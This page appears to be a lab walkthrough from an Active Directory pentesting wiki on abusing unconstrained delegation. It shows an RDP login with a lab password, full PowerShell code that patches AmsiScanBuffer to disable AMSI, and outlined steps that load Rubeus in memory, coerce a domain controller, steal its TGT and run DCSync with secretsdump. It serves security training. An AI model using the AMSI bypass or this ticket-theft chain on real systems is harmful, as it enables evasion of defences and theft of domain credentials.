Unconstrain

xfreerdp /d:north.newyork.local /u:fernando.alonzo /p:'IDr1R3allyF@sTF1!' /v:192.168.56.11 /size:80%  /cert-ignore

From there we will bypass AMSI and launch Rubeus in memory

  • Prepare our server containing Rubeus.exe and our AMSI bypass.

python3 -m http.server 8080

  • On the RDP session bypass AMSI :

amsi_rmouse.txt contains the below commands

# Patching amsi.dll AmsiScanBuffer by rasta-mouse
$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Download Rebeus.exe to Parrot OS

Download the and execute amsi_rmouse.txt to bypass AMSI

  • Now launch Rubeus in memory with execute assembly.

  • First we will list the available tickets :

  • And now force a coerce of the DC NYC to the DC Bronx.

  • We look on the triage again :

  • And now the tgt of NYC is present

  • To extract it (relaunch coercer and 1 sec later launch the following dump command): (i don’t know why but the rubeus monitor mode doesn’t want to run in execute assembly)

  • We now have the TGT of the domain controller

  • Let’s continue on linux to pass the ticket and launch dcsync with secretdump :

    • copy the ticket without space and return line (in vim i do : :%s/\s*\n\s*//g)

    • convert the ticket to ccache

    • use the kerberos ticket and launch secretdump

Another way of exploitation, is to do a ptt with Rubeus and launch a dcsync with Mimikatz but this implies to run Mimikatz on bonx and bypass the defender AV

PreviousDelegationsNextConstrain Delegation

Last updated